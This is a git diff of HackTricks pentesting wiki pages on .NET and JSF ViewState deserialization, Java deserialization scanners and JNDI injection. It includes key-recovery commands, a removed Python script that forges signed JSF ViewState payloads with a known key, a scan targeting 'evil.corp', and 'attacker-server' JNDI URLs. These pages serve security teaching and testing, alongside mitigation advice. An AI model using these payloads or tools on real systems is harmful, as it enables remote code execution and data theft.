@ -174,9 +176,7 @@ Alternatively, this can be done by specifying the below option inside the `machi
|
|||
compatibilityMode="Framework45"
|
||||
```
|
||||
|
||||
As in the previous case Burp doesn't identify if the request is MAC protected because the **value is encrypted.** Then, to send a **valid payload the attacker need the key**.
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
|
||||
As in the previous the **value is encrypted.** Then, to send a **valid payload the attacker need the key**.
|
||||
|
||||
You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key being used:
|
||||
|
||||
|
@ -190,16 +190,14 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
|||
|
||||
For a more detailed description for IISDirPath and TargetPagePath [refer here](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png)
|
||||
|
||||
Or, with [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (with a generator value):
|
||||
|
||||
```
|
||||
```bash
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||
```
|
||||
|
||||
![](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
|
||||
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
|
||||
|
||||
Once a valid Machine key is identified, **the next step is to generate a serialized payload using** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
|
||||
|
@ -211,7 +209,8 @@ If you have the value of `__VIEWSTATEGENERATOR` you can try to **use** the `--ge
|
|||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
|
||||
|
||||
If the ViewState deserialization vulnerability is successfully exploited, an attacker-controlled server will receive an out of band request containing the username. [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
|
||||
A successful exploitation of the ViewState deserialization vulnerability will lead to an out-of-band request to an attacker-controlled server, which includes the username. This kind of exploit is demonstrated in a proof of concept (PoC) which can be found through a resource titled "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". For further details on how the exploitation process works and how to utilize tools like Blacklist3r for identifying the MachineKey, you can review the provided [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
|
||||
|
||||
### Test Case 6 – ViewStateUserKeys is being used
|
||||
|
||||
|
@ -224,13 +223,9 @@ You need to use one more parameter in order to create correctly the payload:
|
|||
|
||||
### Result of a Successful Exploitation <a href="#poc" id="poc"></a>
|
||||
|
||||
For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server responds with “**500 Internal server error**” having response content “**The state information is invalid for this page and might be corrupted**” and we get the OOB request as shown in Figures below:
|
||||
For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server responds with “**500 Internal server error**” having response content “**The state information is invalid for this page and might be corrupted**” and we get the OOB reques.
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
|
||||
|
||||
out of band request with the current username
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png)
|
||||
Check for [further information here]([**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/))
|
||||
|
||||
## References
|
||||
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
|
||||
|
||||
## Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -165,7 +163,7 @@ You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) fro
|
|||
|
||||
Inside the github, [**GadgetProbe has some wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) with Java classes for being tested.
|
||||
|
||||
![](<../../.gitbook/assets/intruder4 (1) (1) (1).gif>)
|
||||
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../.gitbook/assets/intruder4 (1) (1) (1).gif>)
|
||||
|
||||
### More Information
|
||||
|
||||
|
@ -180,7 +178,7 @@ The **extension** has **passive** and active **capabilities**.
|
|||
|
||||
By default it **checks passively** all the requests and responses sent **looking** for **Java serialized magic bytes** and will present a vulnerability warning if any is found:
|
||||
|
||||
![](<../../.gitbook/assets/image (290).png>)
|
||||
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/image (290).png>)
|
||||
|
||||
### Active
|
||||
|
||||
|
@ -189,7 +187,7 @@ By default it **checks passively** all the requests and responses sent **looking
|
|||
You can select a request, right click and `Send request to DS - Manual Testing`.\
|
||||
Then, inside the _Deserialization Scanner Tab_ --> _Manual testing tab_ you can select the **insertion point**. And **launch the testing** (Select the appropriate attack depending on the encoding used).
|
||||
|
||||
![](../../.gitbook/assets/3-1.png)
|
||||
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../.gitbook/assets/3-1.png)
|
||||
|
||||
Even if this is called "Manual testing", it's pretty **automated**. It will automatically check if the **deserialization** is **vulnerable** to **any ysoserial payload** checking the libraries present on the web server and will highlight the ones vulnerable. In order to **check** for **vulnerable libraries** you can select to launch **Javas Sleeps**, **sleeps** via **CPU** consumption, or using **DNS** as it has previously being mentioned.
|
||||
|
||||
|
@ -198,7 +196,7 @@ Even if this is called "Manual testing", it's pretty **automated**. It will auto
|
|||
Once you have identified a vulnerable library you can send the request to the _Exploiting Tab_.\
|
||||
I this tab you have to **select** the **injection point** again, an **write** the **vulnerable library** you want to create a payload for, and the **command**. Then, just press the appropriate **Attack** button.
|
||||
|
||||
![](<../../.gitbook/assets/4 (1).png>)
|
||||
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/4 (1).png>)
|
||||
|
||||
### Java Deserialization DNS Exfil information
|
||||
|
||||
|
|
|
@ -14,237 +14,11 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
|
||||
# Intro
|
||||
|
||||
After we had a look at [RCEs through misconfigured JSON libraries](https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html) we started analyzing the ViewStates of JSF implementations. [JavaServer Faces (JSF)](https://en.wikipedia.org/wiki/JavaServer_Faces) is a User Interface (UI) technology for building web UIs with reusable components. JSF is mostly used for enterprise applications and a JSF implementation is typically used by a web application that runs on a Java application server like JBoss EAP or WebLogic Server. There are two well-known implementations of the JSF specification:
|
||||
|
||||
* Oracle Mojarra (JSF reference implementation)
|
||||
* Apache MyFaces
|
||||
|
||||
# Scope
|
||||
|
||||
This blog post focuses on the two JSF 2.x implementations: Oracle Mojarra (Reference Implementation) and Apache MyFaces. Older implementations (JSF 1.x) are also likely to be affected by the vulnerabilities described in this post. (JSF 2.0.x was initially released in 2009, the current version is 2.3.x).
|
||||
|
||||
# The state of the ViewState
|
||||
|
||||
A difference between JSF and similar web technologies is that JSF makes use of ViewStates (in addition to sessions) to store the current state of the view (e.g. what parts of the view should currently be displayed). The ViewState can be stored on the `server` or the `client`. JSF ViewStates are typically automatically embedded into HTML forms as hidden field with the name `javax.faces.ViewState`. They are sent back to the server if the form is submitted.
|
||||
|
||||
## Server-side ViewState
|
||||
|
||||
If the JSF ViewState is configured to sit on the `server` the hidden `javax.faces.ViewState` field contains an id that helps the server to retrieve the correct state. In the case of MyFaces that id is a **serialized Java object**!
|
||||
|
||||
## Client-side ViewState
|
||||
|
||||
If the JSF ViewState is configured to sit on the `client` the hidden `javax.faces.ViewState` field contains a **serialized Java object** that is at least Base64 encoded. You might have realized by now that this is a potential road to disaster! That might be one of the reasons why nowadays JSF ViewStates are encrypted and signed before being sent to the client.The dangers of serialized Java objects
|
||||
|
||||
In 2015 at the AppSec California conference [Gabriel Lawrence](https://twitter.com/gebl) and [Chris Frohoff](https://twitter.com/frohoff) held a presentation with the title [Marshalling Pickles (how deserializing objects can ruin your day)](https://frohoff.github.io/appseccali-marshalling-pickles/). This presentation shed some light on forgotten problems with Java object serialization and led to the discovery of [several severe remote code execution (RCE) vulnerabilities](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/).
|
||||
|
||||
Unfortunately, it led some people to believe that the vulnerability could be mitigated by removing/updating certain versions of Apache Commons Collections. An action which can indeed help but does not solve the root cause of the problem: Deserialization of Untrusted Data ([CWE 502](https://cwe.mitre.org/data/definitions/502.html)). In other words:\
|
||||
**The use of a 'vulnerable' Apache Commons Collections version does not mean that the application is vulnerable, neither does the absence of such a library version mean that the application is not vulnerable.**
|
||||
|
||||
However, after a malicious hacker [shut down and encrypted the systems of the San Francisco Municipal Transportation Agency](https://krebsonsecurity.com/2016/11/san-francisco-rail-system-hacker-hacked/) via a "Mad Gadget"/"Apache Commons Collections Deserialization Vulnerability" Google started [Operation Rosehub](https://opensource.googleblog.com/2017/03/operation-rosehub.html). The aim of operation Rosehub was to find as many Java open source projects as possible which used an 'attacker-friendly' commons collections version as dependency and submit pull requests to the project owners so that those projects would stop using problematic commons collections versions in newer releases.
|
||||
|
||||
# The attack on the ViewState
|
||||
|
||||
Let’s assume we have a web application with a JSF based login page:
|
||||
|
||||
![JSF based login](https://www.alphabot.com/images/blog/jsf-viewstate/jsf-viewstate-login.png)
|
||||
|
||||
That login page has a ViewState that is neither encrypted nor signed. So when we look at its HTML source we see a hidden field containing the ViewState:Unencrypted MyFaces ViewState:
|
||||
|
||||
```
|
||||
<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />
|
||||
```
|
||||
|
||||
\
|
||||
If you decode the above ViewState using Base64 you will notice that it contains a serialized Java object. This ViewState is sent back to the server via POST when the form is submitted (e.g. click on Login). Now before the ViewState is POSTed back to the server the attacker replaces the ViewState with his own malicious ViewState using a gadget that’s already on the server’s classpath (e.g. `InvokerTransformer` from commons-collections-3.2.1.jar) or even a gadget that is not yet known to the public. With said malicious gadget placed in the ViewState the attacker specifies which commands he wants to run on the server. The flexibility of what an attacker can do is limited by the powers of the available gadgets on the classpath of the server. In case of the `InvokerTransformer` the attacker can specify which command line commands should be executed on the server. The attacker in our example chose to start a calculator on the UI of our Linux based server.
|
||||
|
||||
After the attacker has sent his modified form back to the server the JSF implementation tries to deserialize the provided ViewState. Now even before the deserialization of the ViewState has ended the command is executed and the calculator is started on the server:
|
||||
|
||||
![calculator started via a JSF ViewState](https://www.alphabot.com/images/blog/jsf-viewstate/jsf-viewstate-started-calculator.png)
|
||||
|
||||
Everything happened before the JSF implementation could have a look at the ViewState and decide that it was no good. When the ViewState was found to be invalid typically an error is sent back to the client like “View expired”. But then it’s already too late. The attacker had access to the server and has run commands. (Most real-world attackers don’t start a calculator but they typically deploy a remote shell, which they then use to access the server.)
|
||||
|
||||
\=> All in all this example demonstrates a very dangerous unauthenticated remote code execution (RCE) vulnerability.
|
||||
|
||||
(Almost the same attack scenario against JSF as depicted above was already outlined and demonstrated in the 2015 presentation (pages 65 to 67): [Marshalling Pickles](https://frohoff.github.io/appseccali-marshalling-pickles/) held by Frohoff and Lawrence.)
|
||||
|
||||
# The preconditions for a successful attack
|
||||
|
||||
Now, what are the ingredients for a disaster?
|
||||
|
||||
* unencrypted ViewState (or, possession of the encryption key)
|
||||
* Gadget on the classpath of the server
|
||||
* In case of Mojarra: ViewState configured to reside on the `client`
|
||||
* In case of MyFaces: ViewState configured to reside on the `client` **or** the `server`
|
||||
|
||||
Let’s have a look at those points in relation to the two JSF implementations.
|
||||
|
||||
# Oracle Mojarra (JSF reference implementation)
|
||||
|
||||
As said before Oracle Mojarra is the JSF Reference Implementation (RI) but might not be known under that name. It might be known as Sun JSF RI, recognized with the java package name `com.sun.faces` or with the ambiguous jar name `jsf-impl.jar`.
|
||||
|
||||
## Mojarra: unencrypted ViewState
|
||||
|
||||
So here’s the thing: Mojarra did not encrypt and sign the client-side ViewState by default in most of the versions of 2.0.x and 2.1.x. It is important to note that a server-side ViewState is the default in both JSF implementations but a developer could easily switch the configuration to use a client-side viewstate by setting the `javax.faces.STATE_SAVING_METHOD` param to `client`. The param name does in no way give away that changing it to client introduces grave remote code execution vulnerabilities (e.g. a client-side viewstate might be used in clustered web applications).
|
||||
|
||||
Whilst client-side ViewState encryption is the default in Mojarra 2.2 and later versions it was not for the 2.0.x and 2.1.x branches. However, in May 2016 the Mojarra developers started backporting default client-side ViewState encryption to [2.0.x](https://github.com/javaserverfaces/mojarra/issues/4142) and [2.1.x](https://github.com/javaserverfaces/mojarra/issues/4141) when they realized that unencrypted ViewStates lead to RCE vulnerabilities.
|
||||
|
||||
So at least version [2.1.29-08](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.1.29-08) (released in July 2016) from the 2.1.x Branch and version [2.0.11-04](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.0.11-04) (also released in July 2016) from the 2.0.x have encryption enabled by default.
|
||||
|
||||
When we analyzed the Mojarra libraries we noticed that Red Hat also releases Mojarra versions for the 2.1.x and 2.0.x branches, the latest being [2.1.29-jbossorg-1](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.1.29-jbossorg-1) and [2.0.4-b09-jbossorg-4](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.0.4-b09-jbossorg-4). Since both releases were without default ViewState encryption we contacted Red Hat and they promptly created [Bug 1479661 - JSF client side view state saving deserializes data](https://bugzilla.redhat.com/show_bug.cgi?id=1479661) in their bugtracker with following mitigation advice for the 2.1.x branch:
|
||||
|
||||
> A vulnerable web application needs to have set javax.faces.STATE_SAVING_METHOD to 'client' to enable client-side view state saving. The default value on Enterprise Application Platform (EAP) 6.4.x is 'server'.\
|
||||
> \
|
||||
> If javax.faces.STATE_SAVING_METHOD is set to 'client' a mitigation for this issue is to encrypt the view by setting com.sun.faces.ClientStateSavingPassword in the application web.xml:
|
||||
>
|
||||
> ```markup
|
||||
> <context-param>
|
||||
> <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
|
||||
> <param-value>client</param-value>
|
||||
> </context-param>
|
||||
>
|
||||
> <env-entry>
|
||||
> <env-entry-name>com.sun.faces.ClientStateSavingPassword</env-entry-name>
|
||||
> <env-entry-type>java.lang.String</env-entry-type>
|
||||
> <env-entry-value>[some secret password]</env-entry-value>
|
||||
> </env-entry>
|
||||
> ```
|
||||
|
||||
Unfortunately, in some even older versions that mitigation approach does not work: according to [this great StackOverflow answer](https://stackoverflow.com/questions/28231372/com-sun-faces-clientstatesavingpassword-recommendations-for-actual-password) in the JSF implementation documentation it was incorrectly documented that the param `com.sun.faces.ClientStateSavingPassword` is used to change the Client State Saving Password, while the parameter up until 2.1.18 was accidentally called `ClientStateSavingPassword`. So providing a Client State Saving Password as documented didn’t have an effect! In Mojarra 2.1.19 and later versions they changed the parameter name to the documented name `com.sun.faces.ClientStateSavingPassword`.
|
||||
|
||||
By default Mojarra nowadays uses `AES` as encryption algorithm and `HMAC-SHA256` to authenticate the ViewState.
|
||||
|
||||
## Mojarra: ViewState configured to reside on the client
|
||||
|
||||
The default `javax.faces.STATE_SAVING_METHOD` setting of Mojarra is `server`. A developer needs to manually change it to `client` so that Mojarra becomes vulnerable to the above described attack scenario. If a serialized ViewState is sent to the server but Mojarra uses `server` side ViewState saving it will not try to deserialize it (However, a `StringIndexOutOfBoundsException` may occur).
|
||||
|
||||
## Mojarra: Mitigation
|
||||
|
||||
When using Mojarra with a server-side ViewState nothing has to be done.
|
||||
|
||||
When using Mojarra < 2.2 and a client-side ViewState there are following possible mitigations:
|
||||
|
||||
* Update Mojarra to 2.0.11-04 respectively 2.1.29-08.
|
||||
* Use a server-side ViewState instead of a client-side ViewState.
|
||||
* When using older Versions of Mojarra and an update or switching to a server-side ViewState is not possible: set a ViewState password as temporary solution and make sure it is the right parameter (not necessarily the one in the corresponding documentation)
|
||||
|
||||
For later Mojarra versions:
|
||||
|
||||
* Check that the ViewState encryptions is not disabled via the param: `com.sun.faces.disableClientStateEncryption`
|
||||
|
||||
# Apache MyFaces
|
||||
|
||||
Apache MyFaces is the other big and widely used JSF implementation.
|
||||
|
||||
## MyFaces: unencrypted ViewState
|
||||
|
||||
MyFaces does encrypt the ViewState by default, as stated in their [Security configuration Wiki page](https://wiki.apache.org/myfaces/Secure_Your_Application):
|
||||
|
||||
> Encryption is enabled by default. Note that encription must be used in production environments and disable it could only be valid on testing/development environments.
|
||||
|
||||
However, it is possible to disable ViewState encryption by setting the parameter `org.apache.myfaces.USE_ENCRYPTION` to `false`. (Also it would be possible to use encryption but manually set an easy guessable password). By default the ViewState encryption secret changes with every server restart.
|
||||
|
||||
By default MyFaces uses `DES` as encryption algorithm and `HMAC-SHA1` to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like `AES` and `HMAC-SHA256`.
|
||||
|
||||
## MyFaces: ViewState configured to reside on the client
|
||||
|
||||
The default `javax.faces.STATE_SAVING_METHOD` setting of MyFaces is `server`. But: **MyFaces does always deserialize the ViewState** regardless of that setting. So it is of [great importance to not disable encryption when using MyFaces](https://issues.apache.org/jira/browse/MYFACES-4021)!
|
||||
|
||||
(We created an issue in the MyFaces bug tracker: [MYFACES-4133 Don’t deserialize the ViewState-ID if the state saving method is server](https://issues.apache.org/jira/browse/MYFACES-4133), maybe [this time](https://issues.apache.org/jira/browse/MYFACES-4021) the wish for more secure defaults will catch on.)
|
||||
|
||||
## MyFaces: Mitigation
|
||||
|
||||
When using MyFaces make sure that encryption of the ViewState is not disabled (via `org.apache.myfaces.USE_ENCRYPTION`) regardless if the ViewState is stored on the client or the server.
|
||||
|
||||
## Custom Encryption
|
||||
|
||||
If somehow you manage to steal the password used you can attack the web server encrypting and signing the payload with this script:
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import sys
|
||||
import hmac
|
||||
from urllib import parse
|
||||
from base64 import b64encode
|
||||
from hashlib import sha1
|
||||
from pyDes import *
|
||||
|
||||
YELLOW = "\033[93m"
|
||||
GREEN = "\033[32m"
|
||||
|
||||
def encrypt(payload,key):
|
||||
cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
|
||||
enc_payload = cipher.encrypt(payload)
|
||||
return enc_payload
|
||||
|
||||
def hmac_sig(enc_payload,key):
|
||||
hmac_sig = hmac.new(key, enc_payload, sha1)
|
||||
hmac_sig = hmac_sig.digest()
|
||||
return hmac_sig
|
||||
|
||||
key = b'JsF9876-'
|
||||
|
||||
if len(sys.argv) != 3 :
|
||||
print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
|
||||
else:
|
||||
with open(sys.argv[1], "rb") as f:
|
||||
payload = f.read()
|
||||
f.close()
|
||||
print(YELLOW + "[+] Encrypting payload")
|
||||
print(YELLOW + " [!] Key : JsF9876-\n")
|
||||
enc_payload = encrypt(payload,key)
|
||||
print(YELLOW + "[+] Creating HMAC signature")
|
||||
hmac_sig = hmac_sig(enc_payload,key)
|
||||
print(YELLOW + "[+] Appending signature to the encrypted payload\n")
|
||||
payload = b64encode(enc_payload + hmac_sig)
|
||||
payload = parse.quote_plus(payload)
|
||||
print(YELLOW + "[*] Final payload : {}\n".format(payload))
|
||||
with open(sys.argv[2], "w") as f:
|
||||
f.write(payload)
|
||||
f.close()
|
||||
print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))
|
||||
```
|
||||
|
||||
# Known Key Detection with Badsecrets
|
||||
|
||||
![Badsecrets](https://github.com/blacklanternsecurity/badsecrets) is a library capable of detecting the use of known cryptographic keys by looking at the products they produce, and checking against a list of known or weak keys. Its `Jsf_viewstate` module is capable of detecting Java Server Faces ViewStates created with known keys on both Mojarra and MyFaces, in addition to unprotected or compressed ViewStates.
|
||||
|
||||
The quickest way to use it is with the `cli.py` example tool as follows:
|
||||
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
cd badsecrets
|
||||
python examples/cli.py Ly8gp+FZKt9XsaxT5gZu41DDxO74k029z88gNBOru2jXW0g1Og+RUPdf2d8hGNTiofkD1VvmQTZAfeV+5qijOoD+SPzw6K72Y1H0sxfx5mFcfFtmqX7iN6Gq0fwLM+9PKQz88f+e7KImJqG1cz5KYhcrgT87c5Ayl03wEHvWwktTq9TcBJc4f1VnNHXVZgALGqQuETU8hYwZ1VilDmQ7J4pZbv+pvPUvzk+/e2oNeybso6TXqUrbT2Mz3k7yfe92q3pRjdxRlGxmkO9bPqNOtETlLPE5dDiZYo1U9gr8BBQ=
|
||||
```
|
||||
|
||||
![](https://user-images.githubusercontent.com/24899338/227623883-f760570d-796e-459d-87b0-b87ad33999ae.png)
|
||||
|
||||
If it finds a match, it will also list the platform (Mojarra or MyFaces), the encryption algorithm in use, and whether compression was used or not, which are all essential for exploitation.
|
||||
|
||||
To search for vulnerable viewstates at scale, in conjunction with subdomain enumeration, the `badsecrets` [**BBOT**]() module can be used:
|
||||
|
||||
```
|
||||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||
|
||||
![](https://user-images.githubusercontent.com/24899338/227626488-e45e99b2-0f6d-451e-8a43-7d6db75098de.png)
|
||||
|
||||
|
||||
# Final thoughts
|
||||
|
||||
Most facts about JSF ViewStates and their dangers presented in this blog post are not exactly new but it seems they were never presented in such a condensed way. It showed [once more](https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html) that seemingly harmless configuration changes can lead to serious vulnerabilities.
|
||||
|
||||
\=> One of the problems seems to be that there is not enough knowledge transfer between security researchers and developers who actually use and configure libraries that might be dangerous when configured in certain ways.
|
||||
|
||||
# References
|
||||
Check the posts:
|
||||
|
||||
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||||
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -24,38 +24,29 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
|
|||
|
||||
## Basic Information
|
||||
|
||||
JNDI has been present in Java since the late 1990s. It is a directory service that **allows a Java program to find data through a directory using a name service**. A name service associates values (bindings), so it can be obtained through its reference in the directory.
|
||||
|
||||
JNDI has a number of **service provider interfaces** (SPIs) that enable it to use a variety of directory services. The goal of JNDI is to obtain data from other systems very easily. You can even obtain java objects remotely, and this is where a problem arises.
|
||||
|
||||
For example, SPIs exist for the **CORBA COS** (Common Object Service), the **Java RMI** (Remote Method Interface) Registry and **LDAP**.
|
||||
|
||||
![](<../../.gitbook/assets/image (627).png>)
|
||||
JNDI, integrated into Java since the late 1990s, serves as a directory service, enabling Java programs to locate data or objects through a naming system. It supports various directory services via service provider interfaces (SPIs), allowing data retrieval from different systems, including remote Java objects. Common SPIs include CORBA COS, Java RMI Registry, and LDAP.
|
||||
|
||||
### JNDI Naming Reference
|
||||
Java objects can be stored and retrieved using JNDI Naming References, which come in two forms:
|
||||
|
||||
In order to retrieve Java Objects you could serialize them and save the binary representation. But there are some cases where this won’t work (maybe because the data is too large, or any other thing).\
|
||||
In order to save more easily Java Objects, **Naming References are used**.\
|
||||
There are 2 types of Naming References:
|
||||
- **Reference Addresses**: Specifies an object's location (e.g., _rmi://server/ref_), allowing direct retrieval from the specified address.
|
||||
- **Remote Factory**: References a remote factory class. When accessed, the class is downloaded and instantiated from the remote location.
|
||||
|
||||
* **Reference Addresses**: This indicates the address of the Object (_rmi://server/ref_), then the **object will be retrieved from that address**.
|
||||
* **Remote Factory**: In this case a **remote factory class** will be pointed in the JNDI reference, then, following the JNDI address the remote class will be taken from the remote factory and the **class will be downloaded and loaded**.
|
||||
However, this mechanism can be exploited, potentially leading to the loading and execution of arbitrary code. As a countermeasure:
|
||||
|
||||
This is dangerous because **attackers may make the system load arbitrary objects and execute arbitrary code**, therefore some protections exists:
|
||||
- **RMI**: `java.rmi.server.useCodeabseOnly = true` by default from JDK 7u21, restricting remote object loading. A Security Manager further limits what can be loaded.
|
||||
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default from JDK 6u141, 7u131, 8u121, blocking the execution of remotely loaded Java objects. If set to `true`, remote code execution is possible without a Security Manager's oversight.
|
||||
- **CORBA**: Doesn't have a specific property, but the Security Manager is always active.
|
||||
|
||||
* **RMI**: `java.rmi.server.useCodeabseOnly = true` by default since **JDK 7u21**, otherwise it will allow to load custom java objects remotely. Moreover, even if the protection is disabled, a **Security Manager** is enforced to configure what can be loaded.
|
||||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default since **JDK** **6u141, 7u131, 8u121**, and it won’t allow to execute arbitrary java objects downloaded. But if this is set to `true` it will and **no Security Manager will be enforced**.
|
||||
* **CORBA**: There is no property to be configured but the **Security Manager is always enforced**.
|
||||
However, the **Naming Manager**, responsible for resolving JNDI links, lacks built-in security mechanisms, potentially allowing the retrieval of objects from any source. This poses a risk as RMI, LDAP, and CORBA protections can be circumvented, leading to the loading of arbitrary Java objects or exploiting existing application components (gadgets) to run malicious code.
|
||||
|
||||
Moreover, the **Naming Manager**, the one that is going to follow the JNDI links, doesn’t have any Security Manager or property to be configured, so it will always try to get the object.
|
||||
Examples of exploitable URLs include:
|
||||
- _rmi://attacker-server/bar_
|
||||
- _ldap://attacker-server/bar_
|
||||
- _iiop://attacker-server/bar_
|
||||
|
||||
As you can see the **protections in general aren’t enough** because there is **no protection agains loading JNDI from random addresses** and the protections of RMI, LDAP and CORBA could be bypassed (depending on the configuration) to **load arbitrary java objects** or to **load java objects** that will abuse existent components in the application as **gadgets to execute arbitrary code**.
|
||||
Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of bypassing existing protections.
|
||||
|
||||
URLs example to abuse JNDI:
|
||||
|
||||
* _rmi://attacker-server/bar_
|
||||
* _ldap://attacker-server/bar_
|
||||
* _iiop://attacker-server/bar_
|
||||
|
||||
### JNDI Example
|
||||
|
||||
|
@ -63,24 +54,25 @@ URLs example to abuse JNDI:
|
|||
|
||||
Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("<attacker-controlled-url>")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.
|
||||
|
||||
### CORBA
|
||||
### CORBA Overview
|
||||
|
||||
An **Interoperable Object Reference (IOR)** is a CORBA or RMI-IIOP reference that uniquely idenfies and object on a remote CORBA server. IORs can be in binary format or string hex representation of the binary.\
|
||||
Among other information, it conteins the **Type ID** (a unique identifier for an interface) and the **Codebase** (remote location using to get the stub class).\
|
||||
Note that **by default CORBA cannot be abused**.\
|
||||
It requires:
|
||||
CORBA (Common Object Request Broker Architecture) employs an **Interoperable Object Reference (IOR)** to uniquely identify remote objects. This reference includes essential information like:
|
||||
|
||||
* A **Security Manager must be installed**
|
||||
* Connection to the **codebase controlled by the attacker must be allowed** by Security Manager. There are different ways to allow this:
|
||||
* Socket permission: `permissions java.net.SocketPermission "*:1098-1099", "connect";`
|
||||
* File permission allowing to read all files: `permission java.io.FilePermission "<<ALL FILES>>", "read";`
|
||||
* File permission to read the folder where the attacker can upload the exploits (classes or zip archive)
|
||||
- **Type ID**: Unique identifier for an interface.
|
||||
- **Codebase**: URL for obtaining the stub class.
|
||||
|
||||
You might find **policies of vendors allowing this by default**.
|
||||
Notably, CORBA isn't inherently vulnerable. Ensuring security typically involves:
|
||||
|
||||
### RMI
|
||||
- Installation of a **Security Manager**.
|
||||
- Configuring the Security Manager to permit connections to potentially malicious codebases. This can be achieved through:
|
||||
- Socket permission, e.g., ````permissions java.net.SocketPermission "*:1098-1099", "connect";````.
|
||||
- File read permissions, either universally (````permission java.io.FilePermission "<<ALL FILES>>", "read";````) or for specific directories where malicious files might be placed.
|
||||
|
||||
As indicated in the previous **JNDI Naming Reference Section, RMI by default won’t allow to download arbitrary Java Classes**. And moreover, even if it will, you will need to **bypass the Security Manager policies** (in the previous section we learned that this was possible with CORBA).
|
||||
However, some vendor policies might be lenient and allow these connections by default.
|
||||
|
||||
